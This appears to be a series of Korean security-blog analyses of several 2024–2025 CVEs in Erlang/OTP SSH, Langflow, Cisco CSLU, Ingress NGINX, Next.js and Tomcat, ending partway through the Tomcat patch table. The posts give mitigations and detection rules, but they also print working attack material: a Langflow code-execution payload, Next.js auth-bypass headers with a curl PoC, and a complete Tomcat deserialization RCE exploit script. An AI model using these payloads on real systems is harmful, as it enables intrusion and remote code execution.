1. Erlang/OTP SSH

- Erlang: 고가용성을 요구하는 대규모 확장 가능한 소프트 실시간 시스템을 구축하는 데 사용되는 프로그래밍 언어

- OTP(Open Telecom Platform): 이러한 시스템을 개발하는 데 필요한 미들웨어를 제공하는 Erlang 라이브러리와 설계 원칙의 집합 [1]

- Erlang/OTP SSH: Erlang 시스템에서 SSH(Secure Shell) 기능을 구현한 라이브러리 [2]

2. CVE-2025-32433

[사진 1] CVE-2025-32433 [3]

- Erlang/OTP SSH 라이브러리를 기반으로 하는 SSH 서버의 SSH 프로토콜 메시지 처리의 결함으로 인한 원격 코드 실행 취약점 (CVSS: 10.0)

> 악용에 성공할 경우 공격자는 인증 과정 없이 임의의 명령을 실행할 수 있음

> SSH 데몬이 루트로 실행 중인 경우 전체 액세스 권한을 가지게 됨

영향받는 버전
Erlang/OTP
- OTP-27.3.2 이하 버전
- OTP-26.2.5.10 이하 버전
- OTP-25.3.2.19 이하 버전

 

- RFC 4252: The Secure Shell (SSH) Authentication Protocol [4]

> 인증 프로토콜에서 사용되는 모든 SSH Message Numbers는 50 ~ 79 사이

> SSH Message Numbers80 이상인 경우 인증 프로토콜 이후 실행되는 프로토콜, 즉 인증 완료 후 과정을 위해 예약되어 있음

> 따라서, 인증이 완료되기 전 SSH Message Numbers가 80 이상인 경우 서버는 즉시 연결을 해제하여야 함

[사진 2] RFC 4252 : 6. uthentication Protocol Message Numbers

- 그러나 취약한 버전의 Erlang/OTP에서는 SSH 서버가 이 규칙을 적용하지 않음

> 공격자들이 인증되지 않은 단계에서 조작된 메시지를 주입할 수 있게 되어 무단으로 코드가 실행가능 [5]

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [6][7][8]

> 인증 여부를 handle_msg() 함수를 통해 검증하며, 실패 시 연결 거부

제품명 영향받는 버전 해결 버전
Erlang/OTP <= OTP-27.3.2 OTP-27.3.3
<= OTP-26.2.5.10 OTP-26.2.5.11
<= OTP-25.3.2.19 OTP-25.3.2.20

 

- 업데이트가 불가한 경우

> SSH 포트에 대한 액세스를 신뢰할 수 있는 IP만 허용 및 신뢰할 수 없는 IP의 접근 차단

> Erlang/OTP 기반 SSH가 불필요한 경우 서비스 비활성화

4. 참고

[1] https://www.erlang.org/
[2] https://www.erlang.org/doc/apps/ssh/ssh.html
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-32433
[4] https://www.rfc-editor.org/rfc/rfc4252.html#section-6
[5] https://www.upwind.io/feed/cve-2025-32433-critical-erlang-otp-ssh-vulnerability-cvss-10#toc-section-2
[6] https://www.openwall.com/lists/oss-security/2025/04/16/2
[7] https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
[8] https://github.com/erlang/otp/commit/0fcd9c56524b28615e8ece65fc0c3f66ef6e4c12
[9] https://thehackernews.com/2025/04/critical-erlangotp-ssh-vulnerability.html
[10] https://news.ycombinator.com/item?id=43716526

1. Langflow

- 대규모 언어 모델(LLM)과 다양한 데이터 소스를 활용하여 AI 애플리케이션을 시각적으로 설계하고 구축할 수 있는 low-code 플랫폼 [1][2]

- Python 기반으로 개발되었으며, 특정 모델, API, 데이터베이스에 구애받지 않고 유연하게 사용 가능

2. CVE-2025-3248

[사진 1] CVE-2025-3248 [3]

- /api/v1/validate/code에서 발생하는 임의 코드 실행 취약점 (CVSS : 9.8)

영향받는 버전
Langflow 1.3.0 미만 버전

 

- /api/v1/validate/code : LLM이 생성한 코드의 유효성을 검증하는 API

> 해당 API를 누구나 호출 가능

> validate_code()를 내부적으로 호출 [4]

async def post_validate_code(code: Code) -> CodeValidationResponse:
    try:
        errors = validate_code(code.code)
        return CodeValidationResponse(
            imports=errors.get("imports", {}),
            function=errors.get("function", {}),
        )
    except Exception as e:
        logger.opt(exception=True).debug("Error validating code")
        raise HTTPException(status_code=500, detail=str(e)) from e

 

- validate_code()는 파이썬 코드의 문법을 검증하고 exec()를 통해 해당 코드를 실행 [5][6]

> 파이썬 코드에 import문과 함수 선언문이 있는지 확인

> import문이 있는 경우 해당 모듈을 로드하고, 함수가 있는 경우 exec()를 통해 해당 코드 실행 [7][8]

def validate_code(code):
    # Initialize the errors dictionary
    errors = {"imports": {"errors": []}, "function": {"errors": []}}

    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:  # noqa: BLE001
        if hasattr(logger, "opt"):
            logger.opt(exception=True).debug("Error parsing code")
        else:
            logger.debug("Error parsing code")
        errors["function"]["errors"].append(str(e))
        return errors

    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []

    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors["imports"]["errors"].append(str(e))

    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
            try:
                exec(code_obj)
            except Exception as e:  # noqa: BLE001
                logger.opt(exception=True).debug("Error executing function code")
                errors["function"]["errors"].append(str(e))

    # Return the errors dictionary
    return errors

 

2.1 PoC

- 공개된 Scanner에서는 /api/v1/validate/code URLimport문과 def문이 포함된 파이썬 코드를 POST 메소드로 전송 [9]

...
def check_vulnerability(self):
        """Check if target is vulnerable to Langflow vulnerability"""
        try:
            validate_url = urljoin(self.url, '/api/v1/validate/code')
            # 使用exec函数执行代码
            payload = {
                "code": """
def test(cd=exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')):
    pass
"""
            }
            
            print(f"{Fore.YELLOW}[*] Testing endpoint: {validate_url}")
            response = self.session.post(
                validate_url, 
                json=payload, 
                timeout=self.timeout
            )
            
            print(f"{Fore.YELLOW}[*] Response status: {response.status_code}")
            print(f"{Fore.YELLOW}[*] Response headers: {dict(response.headers)}")
            print(f"{Fore.YELLOW}[*] Response body: {response.text}")
...

3. 대응방안

- 벤더사 제공 업데이트 적용 [10][11]

> 현재 사용자만 API를 이용 가능하도록 패치 적용

제품명 영향받는 버전 해결 버전
Langflow 1.3.0 미만 1.3.0

 

- 탐지 룰 적용

alert tcp any any -> any any (msg:"CVE-2025-3248"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/validate/code"; http_uri; content:"def"; http_client_body; content:"import"; http_client_body;)

4. 참고

[1] https://www.langflow.org/
[2] https://wikidocs.net/267515
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-3248
[4] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/api/v1/validate.py#L16
[5] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L24
[6] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L57
[7] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L44
[8] https://github.com/langflow-ai/langflow/blob/dc35b4ec9ed058b980c89065484fdbfc1fd4cc9b/src/backend/base/langflow/utils/validate.py#L53
[9] https://github.com/xuemian168/CVE-2025-3248
[10] https://github.com/langflow-ai/langflow/pull/6911/commits/dbae45f5717b9bf0f3096fce7399851aba27e658
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71717&menuNo=205020
[12] https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/?utm_source=chatgpt.com

1. Cisco CSLU

- Cisco Smart License Utility Manager [1]

- 사용자가 Smart Licensed 지원 제품 인스턴스를 호스팅 된 Cisco Smart Software Manager에 직접 연결하지 않고도 장치를 관리 할 수 ​​있도록하는 Windows 기반 솔루션

[사진 1] CSLU

2. 취약점

2.1 CVE-2024-20439

[사진 2] CVE-2024-20439 [2]

- 인증되지 않은 원격 공격자가 정적 관리자 자격 증명을 사용하여 시스템에 로그인할 수 있는 취약점 (CVSS: 9.8)

> 계정 정보가 소스 코드 내 하드 코딩 되어있어 공격자는 CSLU API를 통해 관리자 권한으로 로그인 가능

※ CSLU가 수동 실행된 상태에서만 공격 가능 (CSLU는 기본적으로 백그라운드에서 자동 실행되지 않음)

영향받는 버전
- Cisco Smart Licensing Utility(CSLU) 2.0.0 / 2.1.0 / 2.2.0

[사진 3] 하드코딩된 자격 증명 [3]

2.2 CVE-2024-20440

[사진 4] CVE-2024-20440 [4]

- 디버그로그 파일에 과도한 정보가 기록되어, 인증되지 않은 공격자가 조작된 HTTP 요청을 보내 민감 정보를 획득할 수 있는 취약점

> 공격에 성공할 경우 API 자격 증명을 포함한 민감 정보 획득 가능

영향받는 버전
- Cisco Smart Licensing Utility(CSLU) 2.0.0 / 2.1.0 / 2.2.0

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [5][6][7]

> 시스코 제품 보안 사고 대응팀과 SANS 기술연구소는 두 취약점을 연계한 CSLU 대상 공격이 진행되고 있음을 확인
> 신속한 업데이트 적용 필요

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-20439
CVE-2024-20440
Cisco Smart Licensing Utility(CSLU) 2.0.0 고정된 릴리즈로 마이그레이션
(2.3.0)
2.1.0
2.2.0

4. 참고

[1] https://www.cisco.com/web/software/286327971/154599/CSLU_User_Guide.pdf
[2] https://nvd.nist.gov/vuln/detail/cve-2024-20439
[3] https://www.stormshield.com/news/security-alert-cve-2024-20439-stormshield-products-response/
[4] https://nvd.nist.gov/vuln/detail/cve-2024-20440
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71709&menuNo=205020
[7] https://asec.ahnlab.com/ko/82942/
[8] https://www.dailysecu.com/news/articleView.html?idxno=165045

1. Ingress NGINX Controller

- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4]
- Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4]
Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]

2. 주요내용 [7]

- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음

> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능

 

- Admission Controller는 사용자의 요청을 변조(Mutate)검증(Validation)을 통해 요청의 승인 여부를 결정

> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능

※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경

검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절

 

- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신

> AdmissionReview 구조로 통신

> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview 요청을 전송할 수 있음

[사진 1] Admission Controller

 

- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성

> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트

> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음

[사진 2] nginx -t

2.1 취약점

2.1.1 CVE-2025-24514 [9]

- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행

> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함

> ngnix -t 명령을 실행할 때 명령에 포함되어 실행

2.1.2 CVE-2025-24513 [10]

- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능

> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능

2.1.3 CVE-2025-1097 [11]

- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증

> auth-tls-match-cn 주석은 CN=으로 시작

> 이를 통해 임의의 코드 실행이 가능

2.1.4 CVE-2025-1098 [12]

- mirror-targetmirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음

> 이를 통해 임의의 코드 실행이 가능

2.1.5 CVE-2025-1974 [13]

- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]

제품명 영향받는 버전 해결 버전
Ingress NGINX Controller 1.11.0 미만 1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0 1.12.1

 

- 추가 모니터링 및 필터 적용

> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한

> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정

> Admission Controller 컴포넌트가 불필요할 경우 비활성화

> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치
> 수동으로 ingress-nginx를 설치한 경우

① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제

② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제

4. 참고

[1] https://kubernetes.io/ko/docs/concepts/services-networking/ingress/
[2] https://kubernetes.io/ko/docs/concepts/services-networking/ingress-controllers/
[3] https://somaz.tistory.com/120
[4] https://somaz.tistory.com/324
[5] https://github.com/kubernetes/ingress-nginx
[6] https://kubernetes.github.io/ingress-nginx/
[7] https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
[8] https://velog.io/@utcloud/k8s-Admission-Controller
[9] https://github.com/kubernetes/kubernetes/issues/131006
[10] https://github.com/kubernetes/kubernetes/issues/131005
[11] https://github.com/kubernetes/kubernetes/issues/131007
[12] https://github.com/kubernetes/kubernetes/issues/131008
[13] https://github.com/kubernetes/kubernetes/issues/131009
[14] https://kubernetes.github.io/ingress-nginx/deploy/upgrade/
[15] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.11.5
[16] https://github.com/kubernetes/ingress-nginx/releases/tag/controller-v1.12.1
[17] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71698&menuNo=205020

1. Next.js [1]

- 풀 스택 웹 애플리케이션을 구축하기 위한 React 기반의 오픈소스 자바 스크립트 프레임워크

2. CVE-2025-29927

[사진 1] CVE-2025-29927 [2]

- Next.js의 미들웨어 (Middleware)의 권한 검사를 우회할 수 있는 인증 우회 취약점 (CVSS: 9.1)

> 미들웨어 (Middleware)는 요청을 처리하는 과정에서 사용자 인증 및 권한 검사를 수행

> x-middleware-subrequest 헤더를 조작해 미들웨어 기반의 보안 검사 우회

영향받는 버전
Next.js
- 15.x < 15.2.3
- 14.x < 14.2.25
- 13.x < 13.5.9
- 12.x < 12.3.5

 

- 무한 루프를 방지하기 위해 x-middleware-subrequest 헤더 사용 [3][4]

① 사용자 요청에서 x-middleware-subrequest 헤더 추출

② ':'를 기준으로 분할하여 배열로 저장

③ 현재 실행 중인 미들웨어의 이름과 일치하는 요청이 몇 번 반복되었는지 계산 (depth)

④ 동일한 요청이 최대 재귀 깊이 (MAX_RECURSION_DEPTH) 보다 많은 경우 x-middleware-next 헤더를 1로 설정

> x-middleware-next 헤더는 현재 미들웨어를 중단하고 다음 미들웨어로 요청을 전달하는 헤더로 판단됨

...
export const run = withTaggedErrors(async function runWithTaggedErrors(params) {
  const runtime = await getRuntimeContext(params)
  const subreq = params.request.headers[`x-middleware-subrequest`] ----------------- 1
  const subrequests = typeof subreq === 'string' ? subreq.split(':') : [] ---------- 2

  const MAX_RECURSION_DEPTH = 5
  const depth = subrequests.reduce( ------------------------------------------------ 3
    (acc, curr) => (curr === params.name ? acc + 1 : acc),
    0
  )

  if (depth >= MAX_RECURSION_DEPTH) { ---------------------------------------------- 4
    return {
      waitUntil: Promise.resolve(),
      response: new runtime.context.Response(null, {
        headers: {
          'x-middleware-next': '1',
        },
      }),
    }
  }
  ...

 

- 동일한 미들웨어가 5번 이상 x-middleware-subrequest 헤더에 포함될 경우 ④의 과정을 통해 우회 가능

> 버전별로 미들웨어 파일의 이름과 위치가 다르기 때문에 악용 가능한 x-middleware-subrequest 헤더 값이 상이

버전 악성 요청 예시
~ 12.2 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: pages/_middleware
12.2 ~ 13 GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware
13 ~ GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
 
또는 

GET /admin/dashboard HTTP/1.1
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

 

- PoC 예시 [5]

curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

 

[사진 2] 악용 패킷 캡쳐

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
Next.js 15.x 15.2.3
14.x 14.2.25
13.x 13.5.9
12.x 12.3.5

 

- 업데이트 적용이 불가한 경우 x-middleware-subrequest 헤더가 포함된 외부 사용자 요청이 Next.js 애플리케이션에 도달하지 못하도록 차단 [8]

① Apche

>.htaccess 파일 설정 변경 : mod_headers 기능 설치 및 요청에 해당 헤더가 포함된 경우 삭제하도록 설정 [9]

<IfModule mod_headers.c>
RequestHeader unset x-middleware-subrequest
</IfModule>

 

② NGINX

> nginx.conf 파일 설정 변경 : proxy_set_header 지시문 활용

 server {
   listen 80;
   server_name your_domain.com;
   location / {
     proxy_set_header x-middleware-subrequest "";
   }
 }

 

③ Express.js

> JavaScript 소스 코드에 다음 지침을 추가

// Middleware to remove the x-middleware-subrequest header
 app.use((req, res, next) => {
   delete req.headers['x-middleware-subrequest'];
   next();
 });

 

- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정

 

- 탐지룰 설정

alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )

4. 참고

[1] https://nextjs.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-29927
[3] https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
[4] https://github.com/vercel/next.js/blob/eb883cdcfb22517e4babec6f38d3fe86961e2811/packages/next/src/server/web/sandbox/sandbox.ts#L94
[5] https://github.com/MuhammadWaseem29/CVE-2025-29927-POC
[6] https://nextjs.org/blog/cve-2025-29927
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71695&menuNo=205020
[8] https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/
[9] https://httpd.apache.org/docs/2.2/ko/mod/mod_headers.html#page-header
[10] https://www.boannews.com/media/view.asp?idx=136641&page=2&kind=1

1. CVE-2025-24813

[사진 1] CVE-2025-24813 [1]

- Apache Tomcat에서 발생하는 원격 코드 실행 취약점 (CVSS : 9.8)

> Partial PUT 기능과 기본 서블릿에 대한 쓰기 권한이 결합되어 발생

> 공격자는 취약점을 악용해 원격 코드 실행, 정보 유출 및 손상 등의 악성 행위를 수행할 수 있음

 

- 영향받는 버전

> Apache Tomcat 9.0.0.M1 ~ 9.0.98
> Apache Tomcat 10.1.0-M1 ~ 10.1.34
> Apache Tomcat 11.0.0-M1 ~ 11.0.2

 

- 취약점을 악용하기 위한 4가지의 전제 조건

> 다음 4가지 조건 모두를 만족해야 취약점이 발생

쓰기 가능한 Default Servlet

> Default 비활성화

부분 PUT (Partial PUT) 지원

> Default 활성화

파일 기반 세션 지속성

> 기본 위치에서 파일 기반 세션 지속성 사용

취약한 역직렬화 라이브러리 사용

> 역직렬화에 취약한 라이브러리 포함 

2. PoC

- docker를 활용해 취약한 tomcat 환경 구축 [2][3]

> tomcat 설정 변경

구분 설명
conf/web.xml - Default Servlet에 readonly 파라미터 추가 : 쓰기 가능하도록 설정
conf/context.xml - 파일 기반 세션 지속성 활성화

※ 참고 : 일부 분석 보고서에서는 다음과 같이 변경한 것으로 확인 [4]

※ docker 실행 중 버전 오류가 발생해 docker-compose.yml 내용 변경 (version 3.8 -> 3,3)

[사진 2] 정상 접근 확인

- 공개된 PoC를 활용해 공격 [5]

① 대상 서버로 PUT 요청을 보내 서버가 쓰기 가능한지 확인

> check_writable_servlet()를 사용하며 200 또는 201 응답을 반환할 경우 쓰기 가능한 것으로 판단

※ 200 : 서버가 요청을 정상적으로 처리하였음을 나타냄

※ 201 : 서버가 요청을 정상적으로 처리하였고, 자원이 생성되었음을 나타냄

② 쓰기 가능한 경우 역직렬화 페이로드 생성

③ 대상 서버에 Partial PUT 요청을 전송

> upload_and_verify_payload()를 사용하며, 409 응답일 경우 대상 URL로 GET 요청을 보내며 500 응답을 받은 경우 성공한 것으로 판단

※ 409 : 서버의 현재 상태와 요청이 충돌했음을 나타냄

※ 500 : 서버가 사용자의 요청을 처리하는 과정에서 예상하지 못한 오류로 요청을 완료하지 못함을 나타냄

업로드 파일 삭제

> remove_file()

import argparse
import os
import re
import requests
import subprocess
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗     ██████╗ ██████╗ ███╗   ███╗ ██████╗ ██████╗████████╗    ██████╗  ██████╗███████╗
██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗    ██╔══██╗██╔══██╗████╗ ████║██╔════╝ ██╔══██╗╚══██╔══╝    ██╔══██╗██╔════╝██╔════╝
██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║    ██████╔╝██████╔╝██╔████╔██║██║  ███╗██████╔╝   ██║█████╗██████╔╝██║     █████╗  
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║    ██╔══██╗██╔══██╗██║╚██╔╝██║██║   ██║██╔══██╗   ██║╚════╝██╔══██╗██║     ██╔══╝  
╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝    ██████╔╝██║  ██║██║ ╚═╝ ██║╚██████╔╝██║  ██║   ██║     ██║  ██║╚██████╗███████╗
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝     ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝     ╚═╝  ╚═╝ ╚═════╝╚══════╝
"""

def remove_file(file_path):
    try:
        os.remove(file_path)
        print(f"[+] Temporary file removed: {file_path}")
    except OSError as e:
        print(f"[-] Error removing file: {str(e)}")

def check_writable_servlet(target_url, host, port, verify_ssl=True):
    check_file = f"{target_url}/check.txt"
    try:
        response = requests.put(
            check_file,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data="testdata",
            timeout=10,
            verify=verify_ssl
        )
        if response.status_code in [200, 201]:
            print(f"[+] Server is writable via PUT: {check_file}")
            return True
        else:
            print(f"[-] Server is not writable (HTTP {response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during check: {str(e)}")
        return False

def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
    if not os.path.exists(ysoserial_path):
        print(f"[-] Error: {ysoserial_path} not found.")
        sys.exit(1)
    try:
        print(f"[*] Generating ysoserial payload for command: {command}")
        cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
        with open(payload_file, "wb") as f:
            subprocess.run(cmd, stdout=f, check=True)
        print(f"[+] Payload generated successfully: {payload_file}")
        return payload_file
    except (subprocess.CalledProcessError, FileNotFoundError) as e:
        print(f"[-] Error generating payload: {str(e)}")
        sys.exit(1)

def generate_java_payload(command, payload_file):
    payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
    static {{
        try {{
            String cmd = "{command}";
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {{
                output.append(line).append("\\n");
            }}
            PrintWriter out = new PrintWriter(System.out);
            out.println(output.toString());
            out.flush();
        }} catch (IOException e) {{
            e.printStackTrace();
        }}
    }}
}}
"""
    try:
        print(f"[*] Generating Java payload for command: {command}")
        with open("Exploit.java", "w") as f:
            f.write(payload_java)
        subprocess.run(["javac", "Exploit.java"], check=True)
        subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
        remove_file("Exploit.java")
        remove_file("Exploit.class")
        print(f"[+] Java payload generated successfully: {payload_file}")
        return payload_file
    except subprocess.CalledProcessError as e:
        print(f"[-] Error generating Java payload: {str(e)}")
        sys.exit(1)

def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
    exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
    try:
        with open(payload_file, "rb") as f:
            put_response = requests.put(
                exploit_url,
                headers={
                    "Host": f"{host}:{port}",
                    "Content-Length": "10000",
                    "Content-Range": "bytes 0-1000/1200"
                },
                data=f.read(),
                timeout=10,
                verify=verify_ssl
            )
        if put_response.status_code == 409:
            print(f"[+] Payload uploaded with status 409 (Conflict): {exploit_url}")
            get_response = requests.get(
                target_url,
                headers={"Cookie": "JSESSIONID=absholi7ly"},
                timeout=10,
                verify=verify_ssl
            )
            if get_response.status_code == 500:
                print(f"[+] Exploit succeeded! Server returned 500 after deserialization.")
                return True
            else:
                print(f"[-] Exploit failed. GET request returned HTTP {get_response.status_code}")
                return False
        else:
            print(f"[-] Payload upload failed: {exploit_url} (HTTP {put_response.status_code})")
            return False
    except requests.RequestException as e:
        print(f"[-] Error during upload/verification: {str(e)}")
        return False
    except FileNotFoundError:
        print(f"[-] Payload file not found: {payload_file}")
        return False

def get_session_id(target_url, verify_ssl=True):
    try:
        response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
        if "JSESSIONID" in response.cookies:
            return response.cookies["JSESSIONID"]
        session_id = re.search(r"Session ID: (\w+)", response.text)
        if session_id:
            return session_id.group(1)
        else:
            print(f"[-] Session ID not found in response. Using default session ID: absholi7ly")
            return "absholi7ly"
    except requests.RequestException as e:
        print(f"[-] Error getting session ID: {str(e)}")
        sys.exit(1)

def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
    host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
    port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80" if "http://" in target_url else "443"

    session_id = get_session_id(target_url, verify_ssl)
    print(f"[*] Session ID: {session_id}")
    
    if check_writable_servlet(target_url, host, port, verify_ssl):
        payload_file = "payload.ser"
        if payload_type == "ysoserial":
            generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
        elif payload_type == "java":
            generate_java_payload(command, payload_file)
        else:
            print(f"[-] Invalid payload type: {payload_type}")
            return
        
        if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
            print(f"[+] Target {target_url} is vulnerable to CVE-2025-24813!")
        else:
            print(f"[-] Target {target_url} does not appear vulnerable or exploit failed.")
        
        remove_file(payload_file)

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2025-24813 Apache Tomcat RCE Exploit")
    parser.add_argument("target", help="Target URL (e.g., http://localhost:8081 or https://example.com)")
    parser.add_argument("--command", default="calc.exe", help="Command to execute")
    parser.add_argument("--ysoserial", default="ysoserial.jar", help="Path to ysoserial.jar")
    parser.add_argument("--gadget", default="CommonsCollections6", help="ysoserial gadget chain")
    parser.add_argument("--payload_type", choices=["ysoserial", "java"], default="ysoserial", help="Payload type (ysoserial or java)")
    parser.add_argument("--no-ssl-verify", action="store_false", help="Disable SSL verification")
    args = parser.parse_args()

    check_target(args.target, args.command, args.ysoserial, args.gadget, args.payload_type, args.no_ssl_verify)

if __name__ == "__main__":
    main()

 

- PoC 실행 결과 Server is not writable 에러가 발생

> check.txt 파일이 대상 서버에 정상적으로 생성된 것을 확인할 수 있었음

[사진 3] Server is not writable 에러 발생
[사진 4] 공격 패킷 캡쳐 및 결과

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7][8][9][10]

제품명 영향받는 버전 해결 버전
Apache Tomcat  Apache Tomcat 9.0.0.M1 ~ 9.0.98 9.0.99
Apache Tomcat 10.1.0-M1 ~ 10.1.34 10.1.35
